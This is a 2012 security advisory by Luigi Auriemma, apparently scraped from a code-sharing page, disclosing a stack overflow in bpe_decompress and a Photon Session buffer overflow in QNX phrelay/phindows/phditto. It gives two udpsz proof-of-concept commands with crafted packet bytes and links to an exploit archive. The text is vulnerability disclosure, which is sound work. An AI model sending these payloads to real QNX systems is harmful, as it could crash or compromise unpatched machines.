扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 |
####################################################################### Luigi Auriemma Application:QNX phrelay/phindows/phditto http://www.qnx.com http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.phindows/topic/coverpage.html http://www.qnx.com/developers/docs/6.4.1/neutrino/utilities/p/phrelay.html Versions: current Platforms:QNX Neutrino RTOS and Windows Bugs: A] bpe_decompress stack overflow B] Photon Session buffer overflow Exploitation: remote A] versus client and maybe server B] versus server Date: 10 May 2012 Author: Luigi Auriemma e-mail: aluigi@autistici.org web:aluigi.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== phrelay and phindows/phditto are based on a private protocol that allows to use the Photon graphical environment of the server (through the phrelay inetd program) on another machine (phindows, phditto and any other client). ####################################################################### ======= 2) Bugs ======= -------------------------------- A] bpe_decompress stack overflow -------------------------------- The BPE (byte pair encoding) compression uses two stack buffers of 256 bytes called "left" and "right". The bpe_decompress function used in all the client/server programs of this protocol is affected by a stack based buffer-overflow caused by the lack of checks on the data sequentially stored in these two buffers. --------------------------------- B] Photon Session buffer overflow --------------------------------- Buffer-overflow affecting phrelay in the handling of the device file specified by the client as existing Photon session. Note: considering that phrelay is not enabled by default and allows to connect without authentication directly to /dev/photon (the screen visible phisically on the machine) and phindows/phditto must be manually pointed to the malicious host for exploiting bug A, this advisory must be considered only a case study and nothing more. ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18112.zip A] at the moment I don't know how to call bpe_decompress on phrelay but I have verified that the bpe_decompress function is vulnerable at 100%. the following test works only on phindows/phditto (the proof-of-concept acts as a server): udpsz -C "a5 00 00 01 0000 ffff" -b A -l 0 -T -1 0 4868 1+7+0xffff B] udpsz -C "a5 10 00 00 0000 ffff 1400000008040100000000008002e0010000000000000000000000000000" -b A -T SERVER 4868 1+7+0xffff ####################################################################### ====== 4) Fix ====== No fix. ####################################################################### |
体验盒子
